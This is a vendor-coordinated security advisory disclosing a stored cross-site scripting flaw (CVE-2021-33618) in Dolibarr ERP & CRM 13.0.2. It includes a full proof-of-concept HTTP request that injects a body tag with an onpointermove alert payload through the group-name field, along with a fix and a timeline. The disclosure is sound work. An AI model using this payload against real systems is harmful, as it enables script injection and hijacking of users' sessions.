Security Advisory 2105-02

Stored cross-site scripting in Dolibarr ERP & CRM

Overview

Advisory ID: TRSA-2105-02
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2105-02
Affected product: Dolibarr ERP & CRM
Tested versions: Dolibarr 13.0.2
Vendor: Dolibarr foundation, https://www.dolibarr.org
Credits: Trovent Security GmbH, Nick Decker

Detailed description

Trovent Security GmbH discovered that the Dolibarr application does not escape “greater than” and “smaller than” characters if they are reflected in one of the small pop-up windows with details of the object.
This allows an attacker to add certain custom HTML tags and attributes. In our PoC we used a “body” tag in conjunction with an “onpointermove” attribute to achieve constant execution of the inserted JavaScript code.

Severity: Critical
CVSS Score: 9.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
CWE ID: CWE-79
CVE ID: CVE-2021-33618

Proof of concept

This is the HTTP request to change the group name:
REQUEST:

POST /user/group/card.php HTTP/1.1
Host: 10.11.9.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 -securitytest-for-dolibarr
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------329097076628264922392755475836
Content-Length: 950
Origin: http://10.11.9.80
Connection: close
Referer: http://10.11.9.80/user/group/card.php?id=1&action=edit&token=4726524fe505b027519a535e08c11fb6
Cookie: PHPSESSID=8s2jl8fhmbm5th8r4baasak1q2; DOLSESSID_736206a821984837877b8a6a901910d2=4jkf7smp24evfm3vvnnunj8jaq
Upgrade-Insecure-Requests: 1

- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="token"

6585d0838337cafddc3387fcccbe9d91
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="action"

update
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="backtopage"

/user/group/card.php?id=1
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="id"

1
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="nom"

Trovent<<body onpointermove=alert(1) test
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="note"


- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="save"

Save
- -----------------------------329097076628264922392755475836--

CODE:

The HTML code of the site then includes the attribute in its body tag:

<body id="mainbody" class="sidebar-collapse" 


[...]

Solution / Workaround

To mitigate this vulnerability, we recommend to always escape the user input regardless of where it is reflected. Additionally we recommend to blacklist all HTML tags and attributes.

Fixed in Dolibarr version 14.0.0, verified by Trovent.

History

2021-05-25: Vulnerability found
2021-05-28: CVE ID requested & received
2021-05-31: Vendor contacted
2021-06-02: Vendor reported the vulnerability as fixed
2021-11-08: Add information about fixed version
2021-11-10: Advisory published